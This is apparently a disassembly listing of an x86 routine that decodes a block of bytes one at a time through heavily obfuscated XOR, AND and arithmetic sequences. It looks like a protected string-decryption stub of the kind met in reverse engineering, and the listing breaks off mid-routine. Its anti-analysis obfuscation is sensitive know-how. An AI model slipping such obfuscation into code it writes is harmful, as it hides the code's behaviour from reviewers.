mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x20
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x20
add dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
xor al, 0xff
mov byte [0x4737d8], al
mov al, byte [0x4735d9]
mov cl, al
xor cl, 0x43
mov dl, cl
xor dl, 0xff
and dl, 0x1f
and cl, 0xe0
or dl, cl
xor dl, 0xe0
xor dl, 0xff
xor dl, 0x43
and dl, 0x43
shl dl, 1
sub dl, 0x43
sub al, dl
mov byte [0x4737d9], al
mov al, byte [0x4735da]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xf1
xor cl, 0xff
and cl, 0xff
and al, 0xf1
or cl, al
mov byte [0x4737da], cl
mov al, byte [0x4735db]
xor al, 0x33
mov byte [str.QA_tQS], al
mov dl, byte [0x4735dc]
mov al, dl
and al, al
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, al
xor cl, 0x80
xor cl, 0xff
or al, 0x80
and al, cl
xor al, 0xff
xor dl, 0xff
or dl, 0x80
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
mov byte [0x4737dc], cl
mov al, byte [0x4735dd]
mov cl, al
xor cl, 0xff
and cl, 0xb6
and al, 0x49
or cl, al
mov byte [0x4737dd], cl
mov al, byte [0x4735de]
xor al, 0x33
mov byte [0x4737de], al
mov al, byte [0x4735df]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0xfc
and dl, 3
xor dl, 0xff
and ah, dl
xor ah, 0xff
and al, 0xfc
or ah, al
xor ah, 0x3e
mov byte [0x4737df], ah
mov al, byte [0x4735e0]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x76
xor al, 0xff
or al, 0x89
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4737e0], dl
mov al, byte [0x4735e1]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov dl, ah
and dl, 0xf9
xor dl, 0xff
and ah, 0xf9
xor ah, 0xff
and dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, 6
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or al, al
xor al, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
mov al, ah
xor al, 0xff
and al, 0x93
and ah, 0x6c
or al, ah
xor al, 0x6c
mov byte [0x4737e1], al
mov al, byte [0x4735e2]
xor al, 0x3f
mov byte [0x4737e2], al
mov dl, byte [0x4735e3]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xa8
xor dl, 0xff
or dl, 0x57
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [str.OD], al
mov al, byte [0x4735e4]
xor al, 0x83
mov byte [0x4737e4], al
mov al, byte [0x4735e5]
xor al, 0x2c
mov byte [0x4737e5], al
mov al, byte [0x4735e6]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 2
add dl, cl
shl dl, 1
add al, 2
sub al, dl
mov byte [0x4737e6], al
mov al, byte [0x4735e7]
mov cl, al
xor cl, 0x58
xor cl, 0xff
and cl, 0x58
shl cl, 1
sub cl, 0x58
sub al, cl
mov byte [0x4737e7], al
mov bl, byte [0x4735e8]
mov dl, bl
xor dl, 0xad
xor dl, 0xff
or dl, 0x52
add dl, 0xae
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xad
and al, 0x52
shl al, 1
sub al, cl
sub bl, al
mov byte [0x4737e8], bl
mov ah, byte [0x4735e9]
mov dl, ah
xor dl, 0xff
xor dl, 0xff
xor dl, 0xe7
and dl, 0xe7
mov al, ah
add al, 1
xor ah, 0xff
or ah, 0x18
add ah, al
mov al, dl
or al, ah
xor al, 0xff
or dl, ah
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x6b
or al, 0x6b
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x4737e9], dl
mov al, byte [str.8J]
xor al, 0x35
mov byte [0x4737ea], al
mov al, byte [0x4735eb]
xor al, 0xcf
mov byte [0x4737eb], al
mov al, byte [0x4735ec]
xor al, 0xba
mov byte [0x4737ec], al
mov al, byte [0x4735ed]
xor al, 0xde
mov byte [0x4737ed], al
mov al, byte [0x4735ee]
mov cl, al
xor cl, 0xff
and cl, 0x93
and al, 0x6c
or cl, al
mov byte [0x4737ee], cl
mov bl, byte [0x4735ef]
mov al, bl
xor al, 0x47
xor al, 0xff
and al, 0x47
shl al, 1
sub al, 0x47
mov dl, bl
sub dl, al
xor dl, 0xff
xor dl, 0xff
xor dl, 0x47
and dl, 0x47
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x47
add bl, 0x49
sub bl, al
sub bl, 0x49
mov byte [0x4737ef], bl
mov dl, byte [0x4735f0]
mov ah, dl
xor ah, 0xff
and ah, 0xfc
mov al, dl
and al, 3
or ah, al
xor ah, 3
mov al, ah
and al, 0x7e
xor al, 0xff
xor ah, 0xff
or ah, 0x81
xor al, 0xff
xor ah, 0xff
or al, ah
and dl, 0x81
or al, dl
mov cl, al
xor cl, 0xeb
xor cl, 0xff
and cl, 0xeb
shl cl, 1
sub cl, 0xeb
sub al, cl
mov byte [0x4737f0], al
mov dl, byte [0x4735f1]
mov al, dl
xor al, 0xff
and al, 0xe9
mov cl, dl
and cl, 0x16
or al, cl
xor al, 0x16
and al, 0x4e
mov ah, dl
and ah, 0xb1
xor ah, 0xff
xor dl, 0xff
or dl, 0x4e
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, ah
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, ah
add al, cl
sub al, dl
xor al, 0x8f
mov byte [0x4737f1], al
mov al, byte [0x4735f2]
mov cl, al
xor cl, 0xff
and cl, 0x64
and al, 0x9b
or cl, al
mov byte [0x4737f2], cl
mov bl, byte [0x4735f3]
mov dl, bl
and dl, 0x12
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x12
or bl, 0x12
add cl, bl
sub cl, 0x50
sub cl, al
add cl, 0x50
mov byte [0x4737f3], cl
mov al, byte [0x4735f4]
xor al, 0x90
mov byte [0x4737f4], al
mov al, byte [0x4735f5]
xor al, 0x31
mov byte [0x4737f5], al
mov al, byte [0x4735f6]
xor al, 0x67
mov byte [0x4737f6], al
mov al, byte [0x4735f7]
mov cl, al
xor cl, 0xff
and cl, 0xb3
and al, 0x4c
or cl, al
mov byte [0x4737f7], cl
mov al, byte [0x4735f8]
xor al, 0x52
mov byte [0x4737f8], al
mov al, byte [0x4735f9]
mov cl, al
xor cl, 0x5f
xor cl, 0xff
and cl, 0x5f
shl cl, 1
sub cl, 0x5f
sub al, cl
mov byte [0x4737f9], al
mov cl, byte [0x4735fa]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xcb
xor al, 0xff
and cl, 0x34
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4737fa], al
mov al, byte [0x4735fb]
xor al, 0xb2
mov byte [0x4737fb], al
mov al, byte [0x4735fc]
mov cl, al
xor cl, 0xcd
xor cl, 0xff
mov dl, al
or dl, 0xcd
and dl, cl
shl dl, 1
add al, 0xcd
sub al, dl
mov byte [0x4737fc], al
mov al, byte [0x4735fd]
xor al, 0x15
mov byte [0x4737fd], al
mov al, byte [0x4735fe]
mov cl, al
xor cl, 0xe9
xor cl, 0xff
or cl, 0x16
add cl, 0xea
shl cl, 1
sub cl, 0xe9
sub al, cl
mov byte [0x4737fe], al
mov al, byte [str._ep4R]
mov cl, al
xor cl, 0x21
xor cl, 0xff
and cl, 0x21
shl cl, 1
sub cl, 0x21
sub al, cl
mov byte [0x4737ff], al
mov dl, byte [0x473600]
mov al, dl
and al, 0x15
xor al, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xea
xor al, 0xff
xor cl, 0xff
or al, cl
shl al, 1
mov cl, dl
and cl, 0x15
or dl, 0x15
add cl, dl
sub cl, 0xc5
sub cl, al
add cl, 0xc5
mov byte [0x473800], cl
mov al, byte [0x473601]
mov cl, al
xor cl, 0xff
and cl, 0x7e
and al, 0x81
or cl, al
mov byte [0x473801], cl
mov al, byte [0x473602]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
or dl, 0xc5
xor al, 0xff
or al, 0x3a
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x473802], dl
mov al, byte [0x473603]
mov cl, al
xor cl, 0xff
and cl, 0x26
and al, 0xd9
or cl, al
xor cl, 0x7a
mov byte [0x473803], cl
mov dl, byte [0x473604]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x39
xor dl, 0xff
mov ah, dl
xor ah, 0xff
mov dh, ah
and dh, 0xe
and dl, 0xf1
or dh, dl
xor dh, 0xc8
or ah, 0x39
xor ah, 0xff
and ah, 0xff
or dh, ah
and al, dh
xor al, 0xff
mov byte [0x473804], al
mov dl, byte [0x473605]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xb6
mov cl, dl
xor cl, 0xff
or cl, 0xb6
xor dl, 0xff
or dl, 0xb6
and cl, dl
xor cl, 0xff
or al, cl
xor al, 0x20
mov byte [0x473805], al
mov al, byte [0x473606]
xor al, 0xd0
mov byte [0x473806], al
mov al, byte [0x473607]
xor al, 0x53
mov byte [0x473807], al
mov al, byte [0x473608]
xor al, 0x79
mov byte [0x473808], al
mov al, byte [0x473609]
xor al, 0x88
mov byte [0x473809], al
mov bl, byte [0x47360a]
mov dl, bl
xor dl, 0xff
and dl, 0xec
mov al, bl
and al, 0x13
or dl, al
xor dl, 0xa0
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x4c
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x4c
sub bl, al
mov byte [0x47380a], bl
mov al, byte [0x47360b]
xor al, 0x28
mov byte [0x47380b], al
mov al, byte [0x47360c]
mov cl, al
xor cl, 0xf3
xor cl, 0xff
and cl, 0xf3
shl cl, 1
sub cl, 0xf3
sub al, cl
mov byte [0x47380c], al
mov bl, byte [0x47360d]
mov dl, bl
xor dl, 0x95
xor dl, 0xff
and dl, 0x95
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xff
and cl, 0x95
and al, 0x6a
sub al, cl
sub bl, al
mov byte [0x47380d], bl
mov al, byte [0x47360e]
xor al, 0x79
mov byte [0x47380e], al
mov al, byte [0x47360f]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xbc
xor al, 0xff
and al, 0x43
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47380f], dl
mov al, byte [0x473610]
xor al, 0xd8
mov byte [0x473810], al
mov al, byte [str.__b5a]
xor al, 0x26
mov byte [0x473811], al
mov bl, byte [0x473612]
mov dl, bl
xor dl, 6
xor dl, 0xff
and dl, 6
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xfa
sub al, 6
add al, 0xfa
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x473812], bl
mov al, byte [0x473613]
mov cl, al
and cl, 0x3b
shl cl, 1
add al, 0x3b
sub al, cl
mov byte [0x473813], al
mov al, byte [0x473614]
mov cl, al
and cl, 0x6f
shl cl, 1
add al, 0x6f
sub al, cl
mov byte [0x473814], al
mov al, byte [0x473615]
mov cl, al
and cl, 0x8d
shl cl, 1
add al, 0x8d
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x473815], al
mov al, byte [0x473616]
xor al, 0xbe
mov byte [0x473816], al
mov dl, byte [0x473617]
mov al, dl
xor al, 0xff
mov cl, al
xor cl, 0x5f
xor cl, 0xff
or al, 0x5f
and al, cl
and dl, 0xa0
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xe1
xor al, 0xff
or al, 0x1e
and dl, al
xor dl, 0xff
mov byte [0x473817], dl
mov al, byte [0x473618]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xce
xor al, 0xff
or al, 0x31
and cl, al
xor cl, 0xff
mov byte [0x473818], cl
mov bl, byte [0x473619]
mov al, bl
xor al, 0x6e
xor al, 0xff
mov dl, bl
or dl, 0x6e
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x6e
sub bl, al
mov byte [0x473819], bl
mov al, byte [0x47361a]
mov cl, al
xor cl, 0x71
xor cl, 0xff
and cl, 0x71
shl cl, 1
sub cl, 0x71
sub al, cl
mov byte [0x47381a], al
mov al, byte [0x47361b]
xor al, 0xd9
mov byte [0x47381b], al
mov al, byte [0x47361c]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0xcc
and dl, 0x33
xor dl, 0xff
and ah, dl
xor ah, 0xff
or al, 0x33
xor al, 0xff
mov cl, ah
xor cl, 0xff
and cl, 0xf0
and ah, 0xf
or cl, ah
xor cl, 0xf
xor al, 0xff
and cl, al
mov byte [0x47381c], cl
mov al, byte [0x47361d]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x4b
or al, 0x4b
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47381d], cl
mov al, byte [0x47361e]
mov cl, al
and cl, 0x9d
shl cl, 1
add al, 0x9d
sub al, cl
mov byte [0x47381e], al
mov al, byte [0x47361f]
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
mov byte [0x47381f], cl
mov al, byte [0x473620]
mov cl, al
xor cl, 0x57
xor cl, 0xff
and cl, 0x57
shl cl, 1
sub cl, 0x57
sub al, cl
mov byte [0x473820], al
mov al, byte [0x473621]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x56
xor dl, 0xff
and al, 0xa9
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
or dl, al
mov byte [0x473821], dl
mov al, byte [0x473622]
mov cl, al
xor cl, 0xff
and cl, 0x32
and al, 0xcd
or cl, al
xor cl, 0xe8
mov byte [0x473822], cl
mov dl, byte [0x473623]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x34
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
or dl, 0x34
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
or ah, cl
and al, dl
xor al, 0xff
xor ah, 0xff
xor al, 0xff
or ah, al
mov al, ah
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub ah, al
mov byte [0x473823], ah
mov al, byte [0x473624]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
or dl, 0xde
and ah, 0x21
xor ah, 0xff
and dl, ah
xor dl, 0xff
and al, 0xde
or dl, al
xor dl, 0x24
mov byte [0x473824], dl
mov al, byte [0x473625]
mov dl, al
and dl, dl
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, 0x4a
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
and cl, 0x4a
mov ah, al
xor ah, 0xb5
add al, ah
sub al, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x473825], dl
mov al, byte [0x473626]
xor al, 0x57
mov byte [0x473826], al
mov al, byte [0x473627]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x65
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, al
and cl, 0x9a
mov ah, al
xor ah, 0x65
add al, ah
sub al, cl
and dl, al
xor dl, 0xff
mov byte [0x473827], dl
mov al, byte [0x473628]
mov cl, al
and cl, 0x1a
shl cl, 1
add al, 0x1a
sub al, cl
mov byte [str._6F], al
mov al, byte [0x473629]
mov cl, al
xor cl, 0x82
xor cl, 0xff
and cl, 0x82
shl cl, 1
sub cl, 0x82
sub al, cl
mov byte [0x473829], al
mov al, byte [0x47362a]
xor al, 0xf0
mov byte [0x47382a], al
mov al, byte [0x47362b]
mov cl, al
xor cl, 0xff
and cl, 0x5f
and al, 0xa0
or cl, al
mov byte [0x47382b], cl
mov bl, byte [0x47362c]
mov dl, bl
and dl, 0xed
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xed
sub bl, al
mov byte [0x47382c], bl
mov al, byte [0x47362d]
mov cl, al
and cl, 0xcc
shl cl, 1
add al, 0xcc
sub al, cl
mov byte [0x47382d], al
mov al, byte [0x47362e]
mov cl, al
xor cl, 0x3a
mov dl, cl
xor dl, 0xff
and dl, 0x7f
and cl, 0x80
or dl, cl
xor dl, 0x80
xor dl, 0xff
xor dl, 0x3a
and dl, 0x3a
shl dl, 1
add dl, 0xf9
sub dl, 0x3a
sub dl, 0xf9
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x47382e], al
mov al, byte [0x47362f]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x8e
xor cl, 0xff
and al, 0x71
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47382f], cl
mov al, byte [0x473630]
mov cl, al
and cl, 0x3a
shl cl, 1
add al, 0x3a
sub al, cl
mov byte [0x473830], al
mov al, byte [0x473631]
xor al, 0xb6
mov byte [0x473831], al
mov al, byte [0x473632]
xor al, 0xce
mov byte [0x473832], al
mov al, byte [0x473633]
mov cl, al
and cl, 0xdd
shl cl, 1
add al, 0xdd
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [str.Ye_e], al
mov al, byte [0x473634]
xor al, 0x41
mov byte [0x473834], al
mov dl, byte [0x473635]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and al, 3
or dl, dl
xor dl, 0xff
or dl, 3
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor al, 0xff
xor dl, 0xff
and al, dl
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x473835], ah
mov al, byte [0x473636]
xor al, 0x82
mov byte [0x473836], al
mov al, byte [0x473637]
xor al, 0x58
mov byte [0x473837], al
mov al, byte [0x473638]
xor al, 0x20
mov byte [0x473838], al
mov dl, byte [0x473639]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, al
xor cl, 0x24
xor cl, 0xff
or al, 0x24
and al, cl
xor al, 0xff
and dl, 0xdb
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
mov byte [0x473839], al
mov al, byte [0x47363a]
mov cl, al
and cl, 0xa3
shl cl, 1
add al, 0xa3
sub al, cl
mov byte [0x47383a], al
mov al, byte [0x47363b]
xor al, 0xae
mov byte [0x47383b], al
mov al, byte [0x47363c]
xor al, 0x4f
mov byte [0x47383c], al
mov al, byte [0x47363d]
xor al, 0xa3
mov byte [0x47383d], al
mov al, byte [0x47363e]
xor al, 0xca
mov byte [0x47383e], al
mov al, byte [0x47363f]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xab
or al, 0xab
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47383f], cl
mov al, byte [0x473640]
xor al, 0x3d
mov byte [0x473840], al
mov al, byte [0x473641]
mov cl, al
and cl, 0xe4
shl cl, 1
sub al, 0x1c
sub al, cl
mov byte [0x473841], al
mov cl, byte [0x473642]
mov dl, cl
and dl, 0x81
shl dl, 1
xor eax, eax
sub al, cl
add al, 0x7f
xor ecx, ecx
sub cl, al
sub cl, dl
mov byte [0x473842], cl
mov al, byte [0x473643]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0xef
xor cl, 0xff
and al, 0xef
or cl, al
mov byte [0x473843], cl
mov al, byte [0x473644]
mov cl, al
xor cl, 0xa0
xor cl, 0xff
and cl, 0xa0
shl cl, 1
sub cl, 0xa0
sub al, cl
mov byte [0x473844], al
mov al, byte [0x473645]
xor al, 0xe9
mov byte [0x473845], al
mov al, byte [0x473646]
xor al, 0x6e
mov byte [0x473846], al
mov al, byte [0x473647]
xor al, 0xae
mov byte [0x473847], al
mov cl, byte [0x473648]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xa5
xor al, 0xff
xor cl, 0xff
and cl, 0xa5
or al, cl
xor al, 0xff
mov byte [0x473848], al
mov al, byte [0x473649]
xor al, 0xf4
mov byte [0x473849], al
mov dl, byte [0x47364a]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x58
xor dl, 0xff
xor dl, 0xff
or dl, 0x58
xor dl, 0xff
and dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x47384a], al
mov al, byte [0x47364b]
mov cl, al
and cl, 0xc7
shl cl, 1
add al, 0xc7
sub al, cl
mov byte [0x47384b], al
mov al, byte [0x47364c]
mov dh, al
xor dh, 0xff
and dh, 0xff
or dh, 0
mov bl, al
xor bl, 0xff
mov dl, dh
xor dl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, dl
and ah, 0x98
and dh, 0x67
mov cl, bh
and cl, 0x98
and bl, 0x67
or ah, dh
or cl, bl
xor ah, cl
or dl, bh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
and dl, 0x5b
xor dl, 0xff
and ah, 0x5b
xor ah, 0xff
and dl, ah
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, al
xor ah, 0xff
or ah, 0x5b
xor al, 0xff
or al, 0x5b
xor ah, 0xff
xor al, 0xff
or ah, al
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x47384c], dl
mov al, byte [0x47364d]
xor al, 0xcc
mov byte [0x47384d], al
mov al, byte [0x47364e]
xor al, 0x8b
mov byte [0x47384e], al
mov cl, byte [0x47364f]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xf5
and cl, 0xf5
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47384f], al
mov al, byte [0x473650]
mov cl, al
and cl, 0x90
shl cl, 1
mov dl, al
and dl, 0x90
shl dl, 1
xor al, 0x90
add al, dl
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x473850], al
mov al, byte [0x473651]
xor al, 0x15
mov byte [0x473851], al
mov al, byte [str._a6]
mov cl, al
xor cl, 0xff
and cl, 0x6f
or al, al
xor al, 0xff
or al, 0x6f
xor al, 0xff
or cl, al
mov byte [0x473852], cl
mov al, byte [0x473653]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x6e
and al, 0x91
or dl, al
mov byte [0x473853], dl
mov al, byte [0x473654]
xor al, 0x72
mov byte [0x473854], al
mov al, byte [0x473655]
mov cl, al
and cl, 0x39
shl cl, 1
mov dl, al
add dl, 0x39
sub dl, cl
xor dl, 0xff
and dl, 0x39
shl dl, 1
sub dl, 0x39
sub al, dl
mov byte [0x473855], al
mov al, byte [0x473656]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x54
xor dl, 0xff
xor al, 0xff
and al, 0x54
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473856], dl
mov al, byte [0x473657]
xor al, 0x3e
mov byte [str.Cfg_nq], al
mov al, byte [0x473658]
xor al, 0xc
mov byte [0x473858], al
mov al, byte [0x473659]
mov cl, al
xor cl, 0xff
and cl, 0x9d
and al, 0x62
or cl, al
mov byte [0x473859], cl
mov al, byte [0x47365a]
xor al, 0xa9
mov byte [0x47385a], al
mov al, byte [0x47365b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xc6
xor al, 0xff
and al, 0x39
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47385b], dl
mov al, byte [0x47365c]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x7c
xor al, 0xff
and al, 0x83
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47385c], dl
mov al, byte [0x47365d]
mov dl, al
xor dl, 0xea
xor dl, 0xff
and dl, 0xea
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xea
and dl, 0x15
sub dl, cl
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x47385d], al
mov al, byte [0x47365e]
xor al, 6
mov byte [0x47385e], al
mov al, byte [0x47365f]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xbb
xor cl, 0xff
or dl, 0xbb
and dl, cl
and al, 0x44
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
or dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x47385f], cl
mov al, byte [0x473660]
xor al, 0x7c
mov byte [0x473860], al
mov al, byte [0x473661]
xor al, 0x77
mov byte [0x473861], al
mov al, byte [0x473662]
xor al, 0xe0
mov byte [0x473862], al
mov bl, byte [0x473663]
mov dl, bl
xor dl, 0xb0
xor dl, 0xff
and dl, 0xb0
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xb0
sub bl, al
mov byte [0x473863], bl
mov al, byte [0x473664]
xor al, 0x98
mov byte [0x473864], al
mov al, byte [0x473665]
mov ah, al
xor ah, 0xff
and ah, 0x12
mov cl, al
and cl, 0xed
or ah, cl
xor ah, 0xed
mov dl, ah
xor dl, 0xff
or dl, 0xac
xor ah, 0xff
or ah, 0xac
and dl, ah
xor dl, 0xff
and al, 0xac
and dl, dl
xor dl, 0xff
and al, al
